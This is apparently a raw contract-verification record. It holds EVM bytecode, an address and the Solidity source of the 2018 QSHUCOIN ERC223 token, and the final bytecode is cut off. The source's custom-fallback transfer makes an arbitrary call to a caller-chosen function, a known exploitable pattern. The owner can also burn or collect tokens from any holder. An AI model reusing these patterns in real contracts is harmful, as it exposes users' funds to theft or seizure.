0f4a565b604051808215151515815260200191505060405180910390f35b34156103fa57fe5b610410600480803590602001909190505061108b565b005b341561041a57fe5b610446600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113a6565b005b341561045057fe5b61046660048080359060200190919050506115a9565b604051808215151515815260200191505060405180910390f35b341561048857fe5b61049e6004808035906020019091905050611693565b005b34156104a857fe5b6104be6004808035906020019091905050611711565b6040518082815260200191505060405180910390f35b34156104dc57fe5b6104f260048080359060200190919050506117e1565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156105bd5780601f10610592576101008083540402835291602001916105bd565b820191906000526020600020905b8154815290600101906020018083116105a057829003601f168201915b50509550505050505060405180910390f35b34156105d757fe5b6105df61183d565b6040518080602001828103825283818151815260200191508051906020019060200280838360008314610631575b8051825260208311156106315760208201915060208101905060208303925061060d565b5050509050019250505060405180910390f35b341561064c57fe5b6106816004808035906020019091908035906020019091908035151590602001909190803515159060200190919050506118d2565b60405180806020018281038252838181518152602001915080519060200190602002808383600083146106d3575b8051825260208311156106d3576020820191506020810190506020830392506106af565b5050509050019250505060405180910390f35b34156106ee57fe5b6106f6611a36565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561074057fe5b6107566004808035906020019091905050611a5c565b60405180806020018281038252838181518152602001915080519060200190602002808383600083146107a8575b8051825260208311156107a857602082019150602081019050602083039250610784565b5050509050019250505060405180910390f35b34156107c357fe5b6107cb611c8e565b6040518082815260200191505060405180910390f35b34156107e957fe5b6107ff6004808035906020019091905050611c94565b005b341561080957fe5b61081f6004808035906020019091905050611d4b565b005b341561082957fe5b6108a1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611f59565b6040518082815260200191505060405180910390f35b34156108bf57fe5b6108d56004808035906020019091905050611f79565b6040518082815260200191505060405180910390f35b34156108f357fe5b6108fb611f91565b6040518082815260200191505060405180910390f35b341561091957fe5b610921611f96565b6040518082815260200191505060405180910390f35b341561093f57fe5b61098a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f9c565b005b341561099457fe5b6109aa60048080359060200190919050506122c1565b005b6003818154811015156109bb57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a295760006000fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610a835760006000fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610c0f578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c01576003600160038054905003815481101515610b7657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610bb257fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c0f565b5b8180600101925050610ae0565b6001600381818054905003915081610c279190612665565b506003805490506004541115610c4657610c45600380549050611c94565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405180905060405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cee5760006000fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610d5a5760006000fd5b836000600082815260200190815260200160002060030160009054906101000a900460ff1615610d8a5760006000fd5b84610d94816115a9565b151515610da15760006000fd5b60006001600088815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550853373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405180905060405180910390a35b5b505b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60065481565b60006000600090505b600554811015610f4257838015610ef457506000600082815260200190815260200160002060030160009054906101000a900460ff16155b80610f285750828015610f2757506000600082815260200190815260200160002060030160009054906101000a900460ff165b5b15610f34576001820191505b5b8080600101915050610ebc565b5b5092915050565b60006000600060405180807f72656d6f7665417574686f72697a656441646472657373286164647265737329815250602001905060405180910390209150600090505b600481101561107f578181600481101515610fa457fe5b1a7f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168482815181101515610ff757fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415156110715760006000fd5b5b8080600101915050610f8d565b600192505b5050919050565b6000816000600082815260200190815260200160002060030160009054906101000a900460ff16156110bd5760006000fd5b826110c7816115a9565b15156110d35760006000fd5b836000600060008381526020019081526020016000209050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561116c5760006000fd5b611211816002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112075780601f106111dc57610100808354040283529160200191611207565b820191906000526020600020905b8154815290600101906020018083116111ea57829003601f168201915b5050505050610f4a565b151561121d5760006000fd5b60006000878152602001908152602001600020945060018560030160006101000a81548160ff0219169083151502179055508460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685600101548660020160405180828054600181600116156101000203166002900480156112f85780601f106112cd576101008083540402835291602001916112f8565b820191906000526020600020905b8154815290600101906020018083116112db57829003601f168201915b505091505060006040518083038185876185025a03f1925050501561134c57857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405180905060405180910390a261139a565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405180905060405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b5b50505b505b505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113e15760006000fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561143a5760006000fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614156114605760006000fd5b600160038054905001600454603282118061147a57508181115b806114855750600081145b806114905750600082145b1561149b5760006000fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816115079190612691565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405180905060405180910390a25b5b50505b505b505b50565b60006000600060009150600090505b60038054905081101561168b576001600085815260200190815260200160002060006003838154811015156115e957fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561166a576001820191505b60045482141561167d576001925061168c565b5b80806001019150506115b8565b5b5050919050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116ce5760006000fd5b806006819055507fd1c9101a34feff75cccef14a28785a0279cb0b49c1f321f21f5f422e746b4377816040518082815260200191505060405180910390a15b5b50565b60006000600090505b6003805490508110156117da5760016000848152602001908152602001600020600060038381548110151561174b57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117cc576001820191505b5b808060010191505061171a565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6118456126bd565b60038054806020026020016040519081016040528092919081815260200182805480156118c757602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161187d575b505050505090505b90565b6118da6126d1565b6118e26126d1565b600060006005546040518059106118f65750595b908082528060200260200182016040525b50925060009150600090505b6005548110156119b65785801561194b57506000600082815260200190815260200160002060030160009054906101000a900460ff16155b8061197f575084801561197e57506000600082815260200190815260200160002060030160009054906101000a900460ff165b5b156119a85780838381518110151561199357fe5b90602001906020020181815250506001820191505b5b8080600101915050611913565b8787036040518059106119c65750595b908082528060200260200182016040525b5093508790505b86811015611a2a5782818151811015156119f457fe5b9060200190602002015184898303815181101515611a0e57fe5b90602001906020020181815250505b80806001019150506119de565b5b505050949350505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611a646126bd565b611a6c6126bd565b60006000600380549050604051805910611a835750595b908082528060200260200182016040525b50925060009150600090505b600380549050811015611be657600160008681526020019081526020016000206000600383815481101515611ad157fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611bd857600381815481101515611b5a57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168383815181101515611b9557fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b8080600101915050611aa0565b81604051805910611bf45750595b908082528060200260200182016040525b509350600090505b81811015611c85578281815181101515611c2357fe5b906020019060200201518482815181101515611c3b57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b8080600101915050611c0d565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ccf5760006000fd5b600380549050816032821180611ce457508181115b80611cef5750600081145b80611cfa5750600082145b15611d055760006000fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da55760006000fd5b8160006000600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e015760006000fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e6c5760006000fd5b84611e76816115a9565b151515611e835760006000fd5b60016001600088815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550853373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405180905060405180910390a3611f3c866115a9565b15611f4c57611f4b86426124b9565b5b5b5b505b50505b505b5050565b6000611f6684848461250e565b9050611f7181611d4b565b5b9392505050565b60076020528060005260406000206000915090505481565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fd95760006000fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156120335760006000fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561208c5760006000fd5b600092505b60038054905083101561217a578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156120c457fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561216c578360038481548110151561211d57fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061217a565b5b8280600101935050612091565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405180905060405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405180905060405180910390a25b5b505b505b505050565b6000816000600082815260200190815260200160002060030160009054906101000a900460ff16156122f35760006000fd5b826122fd816115a9565b15156123095760006000fd5b8360065460076000838152602001908152602001600020540142101515156123315760006000fd5b60006000868152602001908152602001600020935060018460030160006101000a81548160ff0219169083151502179055508360000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16846001015485600201604051808280546001816001161561010002031660029004801561240c5780601f106123e15761010080835404028352916020019161240c565b820191906000526020600020905b8154815290600101906020018083116123ef57829003601f168201915b505091505060006040518083038185876185025a03f1925050501561246057847f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405180905060405180910390a26124ae565b847f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405180905060405180910390a260008460030160006101000a81548160ff0219169083151502179055505b5b5b505b505b505050565b806007600084815260200190815260200160002081905550817f0b237afe65f1514fd7ea3f923ea4fe792bdd07000a912b6cd1602a8e7f573c8d826040518082815260200191505060405180910390a25b5050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614156125365760006000fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001600015158152506000600084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020190805190602001906125f69291906126e5565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405180905060405180910390a25b5b509392505050565b81548183558181151161268c5781836000526020600020918201910161268b9190612765565b5b505050565b8154818355818115116126b8578183600052602060002091820191016126b79190612765565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061272657805160ff1916838001178555612754565b82800160010185558215612754579182015b82811115612753578251825591602001919060010190612738565b5b5090506127619190612765565b5090565b61278791905b8082111561278357600081600090555060010161276b565b5090565b905600a165627a7a72305820fda12af379592fd4e261e7b0a0ddb6f82db30fdabb71f3cfec793767bc993d7c0029
|
{"success": true, "error": null, "results": {}}
| 4,028 |
0x6e50a486ca037e92ccb3a5ab3d084626b546c9c0
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
return z;
}
function div(uint256 x, uint256 y) internal pure returns (uint256) {
// assert(y > 0);//Solidity automatically throws when dividing by 0
uint256 z = x / y;
// assert(x == y * z + x % y); // There is no case in which this doesn`t hold
return z;
}
function sub(uint256 x, uint256 y) internal pure returns (uint256) {
assert(y <= x);
return x - y;
}
function add(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert(z >= x);
return z;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control function,this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
*
* @dev The Ownable constructor sets the original 'owner' of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner !=address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ContractReceiver
* @dev Receiver for ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) <<16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
*tkn variable is analogue of msg variable of Ether transaction
*tkn.sender is person who initiated this token transaction (analogue of msg.sender)
*tkn.value the number of tokens that were sent (analogue of msg.value)
*tkn.data is data of token transaction (analogue of msg.data)
*tkn.sig is 4 bytes signature of function
*if data of token transaction is a function execution
*/
}
}
contract ERC223 {
uint public totalSupply;
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
/**
* Wishing for circulation of QSHUCOIN!
* I wish for prosperity for a long time!
* Flapping from Kyusyu to the world!
* We will work with integrity and sincerity!
* ARIGATOH!
*/
contract QSHU is ERC223, Ownable {
using SafeMath for uint256;
string public name = "QSHUCOIN";
string public symbol = "QSHU";
uint8 public decimals = 8;
uint256 public initialSupply = 50e9 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function QSHU() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint q = 0; q < targets.length; q++) {
require(targets[q] != 0x0);
frozenAccount[targets[q]] = isFrozen;
emit FrozenFunds(targets[q], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint q = 0; q < targets.length; q++){
require(unlockUnixTime[targets[q]] < unixTimes[q]);
unlockUnixTime[targets[q]] = unixTimes[q];
emit LockedFunds(targets[q], unixTimes[q]);
}
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
emit Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint (address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
emit Mint(_to, _unitAmount);
emit Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeTokens(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount,1e8);
uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint q = 0; q < addresses.length; q++) {
require(addresses[q] != 0x0
&& frozenAccount[addresses[q]] == false
&& now > unlockUnixTime[addresses[q]]);
balances[addresses[q]] = SafeMath.add(balances[addresses[q]], amount);
emit Transfer(msg.sender, addresses[q], amount);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender],totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint q = 0; q < addresses.length; q++) {
require(amounts[q] > 0
&& addresses[q] != 0x0
&& frozenAccount[addresses[q]] == false
&& now > unlockUnixTime[addresses[q]]);
amounts[q] = SafeMath.mul(amounts[q], 1e8);
require(balances[addresses[q]] >= amounts[q]);
balances[addresses[q]] = SafeMath.sub(balances[addresses[q]], amounts[q]);
totalAmount = SafeMath.add(totalAmount, amounts[q]);
emit Transfer(addresses[q], msg.sender, amounts[q]);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0 , this function doesn't work'
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
emit Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev token fallback function
*/
function() payable public {
autoDistribute();
}
}
/**
* My thought is strong!
* The reconstruction of Kyusyu is the power of everyone!
*/
|
0x6060604052600436106101245763ffffffff60e060020a60003504166305d2035b811461012e57806306fdde031461015557806318160ddd146101df578063256fa24114610204578063313ce56714610255578063378dc3dc1461027e57806340c10f19146102915780634f25eced146102b357806364ddc605146102c657806370a08231146103555780637d64bcb4146103745780638da5cb5b1461038757806395d89b41146103b65780639dc29fac146103c9578063a8f11eb914610124578063a9059cbb146103eb578063b414d4b61461040d578063be45fd621461042c578063c341b9f614610491578063cbbe974b146104e4578063d39b1d4814610503578063f0dc417114610519578063f2fde38b146105a8578063f6368f8a146105c7575b61012c61066e565b005b341561013957600080fd5b6101416107d0565b604051901515815260200160405180910390f35b341561016057600080fd5b6101686107d9565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a457808201518382015260200161018c565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ea57600080fd5b6101f2610881565b60405190815260200160405180910390f35b341561020f57600080fd5b6101416004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650509335935061088792505050565b341561026057600080fd5b610268610b02565b60405160ff909116815260200160405180910390f35b341561028957600080fd5b6101f2610b0b565b341561029c57600080fd5b610141600160a060020a0360043516602435610b11565b34156102be57600080fd5b6101f2610c06565b34156102d157600080fd5b61012c600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610c0c95505050505050565b341561036057600080fd5b6101f2600160a060020a0360043516610d66565b341561037f57600080fd5b610141610d81565b341561039257600080fd5b61039a610dee565b604051600160a060020a03909116815260200160405180910390f35b34156103c157600080fd5b610168610dfd565b34156103d457600080fd5b61012c600160a060020a0360043516602435610e70565b34156103f657600080fd5b610141600160a060020a0360043516602435610f3b565b341561041857600080fd5b610141600160a060020a0360043516611016565b341561043757600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061102b95505050505050565b341561049c57600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506110fd9050565b34156104ef57600080fd5b6101f2600160a060020a03600435166111ff565b341561050e57600080fd5b61012c600435611211565b341561052457600080fd5b61014160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061123195505050505050565b34156105b357600080fd5b61012c600160a060020a0360043516611518565b34156105d257600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506115b395505050505050565b6000600754118015610696575060075460015461069390600160a060020a0316610d66565b10155b80156106bb5750600160a060020a0333166000908152600a602052604090205460ff16155b80156106de5750600160a060020a0333166000908152600b602052604090205442115b15156106e957600080fd5b600034111561072657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561072657600080fd5b600154600160a060020a031660009081526009602052604090205460075461074e91906118d5565b600154600160a060020a0390811660009081526009602052604080822093909355339091168152205460075461078491906118e7565b600160a060020a0333811660008181526009602052604090819020939093556001546007549193921691600080516020611cb183398151915291905190815260200160405180910390a3565b60085460ff1681565b6107e1611c9e565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b60065490565b6000806000808411801561089c575060008551115b80156108